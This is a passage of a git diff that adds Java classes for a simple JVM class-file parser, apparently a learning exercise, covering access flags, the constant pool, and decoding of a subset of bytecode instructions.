+	public static StackMapTable parse(ByteCodeIterator iter){
+		
+		int nameIndex = iter.nextU2ToInt();
+		int attrLen = iter.nextU4ToInt();
+		StackMapTable t = null;
+		t = new StackMapTable(nameIndex,attrLen);
+		
+		//后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
+		String code = iter.nextUxToHexString(attrLen);
+		t.setOriginalCode(code);
+		
+		return t;
+	}
+	
+	
+	private void setOriginalCode(String code) {
+		this.originalCode = code;
+		
+	}
+		
+	public String getOriginalCode() {
+		return originalCode;
+	}
+}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/clz/AccessFlag.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/clz/AccessFlag.java
new file mode 100644
index 0000000000..5abd9961ac
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/clz/AccessFlag.java
@@ -0,0 +1,24 @@
+package com.coderising.jvm.clz;
+
+public class AccessFlag {
+	private int flagValue;
+
+	public AccessFlag(int value) {
+		this.flagValue = value;
+	}
+
+	public int getFlagValue() {
+		return flagValue;
+	}
+
+	public void setFlagValue(int flag) {
+		this.flagValue = flag;
+	}
+	
+	public boolean isPublicClass(){
+		return (this.flagValue & 0x0001) != 0;
+	}
+	public boolean isFinalClass(){
+		return (this.flagValue & 0x0010) != 0;
+	}	
+}
\ No newline at end of file
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/clz/ClassFile.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/clz/ClassFile.java
new file mode 100644
index 0000000000..534bc36cba
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/clz/ClassFile.java
@@ -0,0 +1,120 @@
+package com.coderising.jvm.clz;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.method.Method;
+
+public class ClassFile {
+	
+	private int minorVersion;
+	private int majorVersion;
+	
+	private AccessFlag accessFlag;
+	private ClassIndex clzIndex;
+	private ConstantPool pool;
+	private List<Field> fields = new ArrayList<Field>();
+	private List<Method> methods = new ArrayList<Method>();
+	
+	public ClassIndex getClzIndex() {
+		return clzIndex;
+	}
+	public AccessFlag getAccessFlag() {
+		return accessFlag;
+	}
+	public void setAccessFlag(AccessFlag accessFlag) {
+		this.accessFlag = accessFlag;
+	}
+	
+	
+	
+	public ConstantPool getConstantPool() {		
+		return pool;
+	}
+	public int getMinorVersion() {
+		return minorVersion;
+	}
+	public void setMinorVersion(int minorVersion) {
+		this.minorVersion = minorVersion;
+	}
+	public int getMajorVersion() {
+		return majorVersion;
+	}
+	public void setMajorVersion(int majorVersion) {
+		this.majorVersion = majorVersion;
+	}
+	public void setConstPool(ConstantPool pool) {
+		this.pool = pool;
+		
+	}
+	public void setClassIndex(ClassIndex clzIndex) {
+		this.clzIndex = clzIndex;		
+	}
+	
+	public void addField(Field f){
+		this.fields.add(f);
+	}
+	public List<Field> getFields(){
+		return this.fields;
+	}
+	public void addMethod(Method m){
+		this.methods.add(m);
+	}
+	public List<Method> getMethods() {
+		return methods;
+	}
+	
+    public Method getMethod(String methodName, String paramAndReturnType){
+		
+		for(Method m :methods){
+			
+			int nameIndex = m.getNameIndex();
+			int descriptionIndex = m.getDescriptorIndex();
+			
+			String name = this.getConstantPool().getUTF8String(nameIndex);
+			String desc = this.getConstantPool().getUTF8String(descriptionIndex);
+			if(name.equals(methodName) && desc.equals(paramAndReturnType)){
+				return m;
+			}
+		}
+		return null;
+	}
+    
+    public Method getMainMethod(){
+		for(Method m :methods){
+			int nameIndex = m.getNameIndex();
+			int descIndex = m.getDescriptorIndex();
+			String name = this.getConstantPool().getUTF8String(nameIndex);
+			String desc = this.getConstantPool().getUTF8String(descIndex);
+			if(name.equals("main")  && desc.equals("([Ljava/lang/String;)V")){
+				return m;
+			}
+		}
+		return null;
+	}
+	
+	public void print(){
+		
+		if(this.accessFlag.isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ getClassName());
+		
+		System.out.println("Super Class Name:"+ getSuperClassName());
+		
+		
+	}
+	
+	public String getClassName(){
+		int thisClassIndex = this.clzIndex.getThisClassIndex();
+		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
+		return thisClass.getClassName();
+	}
+	public String getSuperClassName(){
+		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
+		return superClass.getClassName();
+	}
+}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/clz/ClassIndex.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/clz/ClassIndex.java
new file mode 100644
index 0000000000..7750d4439d
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/clz/ClassIndex.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.clz;
+
+public class ClassIndex {
+	private int thisClassIndex;
+	private int superClassIndex;
+	
+	public int getThisClassIndex() {
+		return thisClassIndex;
+	}
+	public void setThisClassIndex(int thisClassIndex) {
+		this.thisClassIndex = thisClassIndex;
+	}
+	public int getSuperClassIndex() {
+		return superClassIndex;
+	}
+	public void setSuperClassIndex(int superClassIndex) {
+		this.superClassIndex = superClassIndex;
+	}
+}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/BiPushCmd.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/BiPushCmd.java
new file mode 100644
index 0000000000..03db32ccc9
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/BiPushCmd.java
@@ -0,0 +1,21 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class BiPushCmd extends OneOperandCmd {
+
+	public BiPushCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+	
+		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
+	}
+	
+	
+
+}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/ByteCodeCommand.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/ByteCodeCommand.java
new file mode 100644
index 0000000000..4c8b21ab09
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/ByteCodeCommand.java
@@ -0,0 +1,125 @@
+package com.coderising.jvm.cmd;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+
+public abstract class ByteCodeCommand {	
+	
+	String opCode;
+	ClassFile clzFile;	
+	private int offset;
+	
+	private static Map<String,String> codeMap = new HashMap<String,String>();
+	
+	static{
+		codeMap.put("01", "aconst_null");
+		
+		codeMap.put("BB", "new");
+		codeMap.put("37", "lstore");
+		codeMap.put("B7", "invokespecial");
+		codeMap.put("B6", "invokevirtual");
+		codeMap.put("B4", "getfield");
+		codeMap.put("B5", "putfield");
+		codeMap.put("B2", "getstatic");
+		
+		codeMap.put("2A", "aload_0");
+		codeMap.put("2B", "aload_1");
+		codeMap.put("2C", "aload_2");
+		
+		codeMap.put("10", "bipush");
+		codeMap.put("15", "iload");
+		codeMap.put("1A", "iload_0");
+		codeMap.put("1B", "iload_1");
+		codeMap.put("1C", "iload_2");
+		codeMap.put("1D", "iload_3");
+		
+		codeMap.put("25", "fload_3");
+		
+		codeMap.put("1E", "lload_0");
+		
+		codeMap.put("24", "fload_2");
+		codeMap.put("4C", "astore_1");
+		
+		codeMap.put("A2", "if_icmp_ge");
+		codeMap.put("A4", "if_icmple");
+		
+		codeMap.put("A7", "goto");
+		
+		codeMap.put("B1", "return");
+		codeMap.put("AC", "ireturn");
+		codeMap.put("AE", "freturn");
+		
+		codeMap.put("03", "iconst_0");
+		codeMap.put("04", "iconst_1");
+		
+		codeMap.put("3C", "istore_1");
+		codeMap.put("3D", "istore_2");
+		
+		codeMap.put("59", "dup");
+		
+		codeMap.put("60", "iadd");
+		codeMap.put("84", "iinc");
+		
+		codeMap.put("12", "ldc");
+	}
+	
+	
+
+	
+
+	protected ByteCodeCommand(ClassFile clzFile, String opCode){
+		this.clzFile = clzFile;
+		this.opCode = opCode;
+	}
+	
+	protected ClassFile getClassFile() {
+		return clzFile;
+	}
+	
+	public int getOffset() {
+		return offset;
+	}
+
+	public void setOffset(int offset) {
+		this.offset = offset;
+	}
+	protected ConstantInfo getConstantInfo(int index){
+		return this.getClassFile().getConstantPool().getConstantInfo(index);
+	}
+	
+	protected ConstantPool getConstantPool(){
+		return this.getClassFile().getConstantPool();
+	}
+	
+	
+	
+	public String getOpCode() {
+		return opCode;
+	}
+
+	public abstract int getLength();
+	
+	
+	
+	
+	public String toString(){
+		
+		StringBuffer buffer = new StringBuffer();
+		buffer.append(this.opCode);
+		
+		return buffer.toString();
+	}
+	public abstract String toString(ConstantPool pool);
+	
+	public String getReadableCodeText(){
+		String txt = codeMap.get(opCode);
+		if(txt == null){
+			return opCode;
+		}
+		return txt;
+	}
+}
\ No newline at end of file
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/CommandParser.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/CommandParser.java
new file mode 100644
index 0000000000..0dd0573ae5
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/CommandParser.java
@@ -0,0 +1,155 @@
+package com.coderising.jvm.cmd;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.clz.ClassFile;
+
+public class CommandParser {
+	
+	public static final String aconst_null = "01";
+	public static final String new_object = "BB";
+	public static final String lstore = "37";
+	public static final String invokespecial = "B7";
+	public static final String invokevirtual = "B6";
+	public static final String getfield = "B4";
+	public static final String putfield = "B5";
+	public static final String getstatic = "B2";
+	public static final String ldc = "12";
+	public static final String dup = "59";
+	public static final String bipush = "10";
+	public static final String aload_0 = "2A";
+	public static final String aload_1 = "2B";
+	public static final String aload_2 = "2C";
+	public static final String iload = "15";
+	public static final String iload_1 = "1B";
+	public static final String iload_2 = "1C";
+	public static final String iload_3 = "1D";
+	public static final String fload_3 = "25";
+
+	public static final String voidreturn = "B1";
+	public static final String ireturn = "AC";
+	public static final String freturn = "AE";
+
+	public static final String astore_1 = "4C";
+	public static final String if_icmp_ge = "A2";
+	public static final String if_icmple = "A4";
+	public static final String goto_no_condition = "A7";
+	public static final String iconst_0 = "03";
+	public static final String iconst_1 = "04";
+	public static final String istore_1 = "3C";
+	public static final String istore_2 = "3D";
+	public static final String iadd = "60";
+	public static final String iinc = "84";
+
+	public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
+
+		if ((codes == null) || (codes.length() == 0) || (codes.length() % 2) != 0) {
+			throw new RuntimeException("the orignal code is not correct");
+
+		}
+
+		codes = codes.toUpperCase();
+
+		CommandIterator iter = new CommandIterator(codes);
+		List<ByteCodeCommand> cmds = new ArrayList<ByteCodeCommand>();
+
+		while (iter.hasNext()) {
+			String opCode = iter.next2CharAsString();
+
+			if (new_object.equals(opCode)) {
+				NewObjectCmd cmd = new NewObjectCmd(clzFile, opCode);
+
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+
+				cmds.add(cmd);
+			} else if (invokespecial.equals(opCode)) {
+				InvokeSpecialCmd cmd = new InvokeSpecialCmd(clzFile, opCode);
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				// System.out.println( cmd.toString(clzFile.getConstPool()));
+				cmds.add(cmd);
+			} else if (invokevirtual.equals(opCode)) {
+				InvokeVirtualCmd cmd = new InvokeVirtualCmd(clzFile, opCode);
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+
+				cmds.add(cmd);
+			} else if (getfield.equals(opCode)) {
+				GetFieldCmd cmd = new GetFieldCmd(clzFile, opCode);
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if (getstatic.equals(opCode)) {
+				GetStaticFieldCmd cmd = new GetStaticFieldCmd(clzFile, opCode);
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if (putfield.equals(opCode)) {
+				PutFieldCmd cmd = new PutFieldCmd(clzFile, opCode);
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if (ldc.equals(opCode)) {
+				LdcCmd cmd = new LdcCmd(clzFile, opCode);
+				cmd.setOperand(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if (bipush.equals(opCode)) {
+				BiPushCmd cmd = new BiPushCmd(clzFile, opCode);
+				cmd.setOperand(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if (dup.equals(opCode) || aload_0.equals(opCode) || aload_1.equals(opCode) || aload_2.equals(opCode)
+					|| iload_1.equals(opCode) || iload_2.equals(opCode) || iload_3.equals(opCode)
+					|| fload_3.equals(opCode) || voidreturn.equals(opCode) || astore_1.equals(opCode)) {
+
+				NoOperandCmd cmd = new NoOperandCmd(clzFile, opCode);
+				cmds.add(cmd);
+			} else {
+				throw new RuntimeException("Sorry, the java instruction " + opCode + " has not been implemented");
+			}
+
+		}
+
+		calcuateOffset(cmds);
+
+		ByteCodeCommand[] result = new ByteCodeCommand[cmds.size()];
+		cmds.toArray(result);
+		return result;
+	}
+
+	private static void calcuateOffset(List<ByteCodeCommand> cmds) {
+
+		int offset = 0;
+		for (ByteCodeCommand cmd : cmds) {
+			cmd.setOffset(offset);
+			offset += cmd.getLength();
+		}
+
+	}
+
+	private static class CommandIterator {
+		String codes = null;
+		int pos = 0;
+
+		CommandIterator(String codes) {
+			this.codes = codes;
+		}
+
+		public boolean hasNext() {
+			return pos < this.codes.length();
+		}
+
+		public String next2CharAsString() {
+			String result = codes.substring(pos, pos + 2);
+			pos += 2;
+			return result;
+		}
+
+		public int next2CharAsInt() {
+			String s = this.next2CharAsString();
+			return Integer.valueOf(s, 16).intValue();
+		}
+
+	}
+}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/GetFieldCmd.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/GetFieldCmd.java
new file mode 100644
index 0000000000..92fe286363
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/GetFieldCmd.java
@@ -0,0 +1,21 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class GetFieldCmd extends TwoOperandCmd {
+
+	public GetFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+	
+	
+
+}
\ No newline at end of file
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
new file mode 100644
index 0000000000..52a7550d12
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class GetStaticFieldCmd extends TwoOperandCmd {
+
+	public GetStaticFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
new file mode 100644
index 0000000000..c6efbae530
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
@@ -0,0 +1,21 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class InvokeSpecialCmd extends TwoOperandCmd {
+
+	public InvokeSpecialCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	
+
+}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
new file mode 100644
index 0000000000..a17c51a81d
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
@@ -0,0 +1,21 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class InvokeVirtualCmd extends TwoOperandCmd {
+
+	public InvokeVirtualCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	
+	
+
+}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/LdcCmd.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/LdcCmd.java
new file mode 100644
index 0000000000..00f9a5a699
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/LdcCmd.java
@@ -0,0 +1,29 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.StringInfo;
+
+public class LdcCmd extends OneOperandCmd {
+
+	public LdcCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+	
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
+		
+		String value = "TBD";
+		if(info instanceof StringInfo){
+			StringInfo strInfo = (StringInfo)info;
+			value = strInfo.toString();
+		}
+		
+		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
+		
+	}
+	
+}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/NewObjectCmd.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/NewObjectCmd.java
new file mode 100644
index 0000000000..a43c8bd964
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/NewObjectCmd.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class NewObjectCmd extends TwoOperandCmd{
+	
+	public NewObjectCmd(ClassFile clzFile, String opCode){
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsClassInfo(pool);
+	}
+
+	
+}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/NoOperandCmd.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/NoOperandCmd.java
new file mode 100644
index 0000000000..461bb4e2a5
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/NoOperandCmd.java
@@ -0,0 +1,23 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class NoOperandCmd extends ByteCodeCommand{
+
+	public NoOperandCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
+	}
+
+	
+	
+	public  int getLength(){
+		return 1;
+	}
+
+}
\ No newline at end of file
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/OneOperandCmd.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/OneOperandCmd.java
new file mode 100644
index 0000000000..6b1b8c284c
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/OneOperandCmd.java
@@ -0,0 +1,27 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+
+public abstract class OneOperandCmd extends ByteCodeCommand {
+
+	private int operand;
+	
+	public OneOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+		
+	}
+	public  int getOperand() {
+		
+		return this.operand;
+	}
+
+	public void setOperand(int oprand1) {
+		this.operand = oprand1;
+		
+	}
+	public  int getLength(){
+		return 2;
+	}
+
+	
+}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/PutFieldCmd.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/PutFieldCmd.java
new file mode 100644
index 0000000000..00b29e1fbc
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/PutFieldCmd.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class PutFieldCmd extends TwoOperandCmd {
+
+	public PutFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+
+}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/TwoOperandCmd.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/TwoOperandCmd.java
new file mode 100644
index 0000000000..6cb42d2a83
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/TwoOperandCmd.java
@@ -0,0 +1,65 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+
+public abstract class TwoOperandCmd extends ByteCodeCommand{
+	
+	int oprand1 = -1;
+	int oprand2 = -1;
+	
+	public int getOprand1() {
+		return oprand1;
+	}
+
+	public void setOprand1(int oprand1) {
+		this.oprand1 = oprand1;
+	}
+
+	public void setOprand2(int oprand2) {
+		this.oprand2 = oprand2;
+	}
+
+	public int getOprand2() {
+		return oprand2;
+	}
+	
+	public TwoOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+	}
+
+	public int getIndex(){
+		int oprand1 = this.getOprand1();
+		int oprand2 = this.getOprand2();
+		int index = oprand1 << 8 | oprand2;
+		return index;
+	}
+	
+	protected String getOperandAsClassInfo(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
+	}
+	
+	protected String getOperandAsMethod(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+
+	protected String getOperandAsField(ConstantPool pool){
+		int index = getIndex();
+		
+		String codeTxt = getReadableCodeText();
+		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+	public  int getLength(){
+		return 3;
+	}
+}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/ClassInfo.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/ClassInfo.java
new file mode 100644
index 0000000000..c837b9d838
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/ClassInfo.java
@@ -0,0 +1,29 @@
+package com.coderising.jvm.constant;
+
+public class ClassInfo extends ConstantInfo {
+	private int type = ConstantInfo.CLASS_INFO;
+	private int utf8Index ;
+	public ClassInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getUtf8Index() {
+		return utf8Index;
+	}
+	public void setUtf8Index(int utf8Index) {
+		this.utf8Index = utf8Index;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public String getClassName() {		
+		int index = getUtf8Index();
+		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
+		return utf8Info.getValue();		
+	}
+	
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitClassInfo(this);		
+	}
+}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/ConstantInfo.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/ConstantInfo.java
new file mode 100644
index 0000000000..35a3d873a9
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/ConstantInfo.java
@@ -0,0 +1,41 @@
+package com.coderising.jvm.constant;
+
+public abstract class ConstantInfo {
+	public static final int UTF8_INFO = 1;
+	public static final int FLOAT_INFO = 4;
+	public static final int CLASS_INFO = 7;
+	public static final int STRING_INFO = 8;
+	public static final int FIELD_INFO = 9;
+	public static final int METHOD_INFO = 10;
+	public static final int NAME_AND_TYPE_INFO = 12;
+	protected ConstantPool constantPool;
+	
+	public ConstantInfo(){
+		
+	}
+	
+	public ConstantInfo(ConstantPool pool) {
+		this.constantPool = pool;
+	}
+	public abstract int getType();
+	
+	public ConstantPool getConstantPool() {
+		return constantPool;
+	}
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantPool.getConstantInfo(index);
+	}
+	
+    public abstract void accept(Visitor visitor);
+	
+	public static interface Visitor{
+		
+		public void visitClassInfo(ClassInfo info);
+		public void visitFieldRef(FieldRefInfo info);
+		public void visitMethodRef(MethodRefInfo info);
+		public void visitNameAndType(NameAndTypeInfo info);
+		public void visitString(StringInfo info);
+		public void visistUTF8(UTF8Info info);
+		
+	}
+}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/ConstantPool.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/ConstantPool.java
new file mode 100644
index 0000000000..d641ea15c0
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/ConstantPool.java
@@ -0,0 +1,46 @@
+package com.coderising.jvm.constant;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.clz.ClassFile;
+
+public class ConstantPool {
+	
+	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
+	
+	private ClassFile clzFile;
+	
+	public ConstantPool(ClassFile clzFile){
+		this.clzFile = clzFile;
+	}
+	
+	public void addConstantInfo(ConstantInfo info){
+		
+		this.constantInfos.add(info);
+		
+	}
+	
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantInfos.get(index);
+	}
+	public String getUTF8String(int index){
+		return ((UTF8Info)this.constantInfos.get(index)).getValue();
+	}
+	public int getSize() {		
+		return this.constantInfos.size() -1;
+	}
+
+	public List<ConstantInfo> getConstantInfos() {
+		return constantInfos;
+	}
+
+	public void setConstantInfos(List<ConstantInfo> constantInfos) {
+		this.constantInfos = constantInfos;
+	}
+
+	public ClassFile getClzFile() {
+		return clzFile;
+	}
+	
+}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/FieldRefInfo.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/FieldRefInfo.java
new file mode 100644
index 0000000000..804e41a393
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/FieldRefInfo.java
@@ -0,0 +1,59 @@
+package com.coderising.jvm.constant;
+
+public class FieldRefInfo extends ConstantInfo{
+	private int type = ConstantInfo.FIELD_INFO;
+	private int classInfoIndex;
+	private int nameAndTypeIndex;
+	
+	public FieldRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+		
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		
+		return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
+	}
+	
+	public String getClassName(){
+		
+		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
+		
+		UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
+		
+		return utf8Info.getValue();
+		
+	}
+	
+	public String getFieldName(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();		
+	}
+	
+	public String getFieldType(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();	
+	}
+	@Override
+	public void accept(Visitor visitor) {
+		
+		visitor.visitFieldRef(this);		
+	}
+}
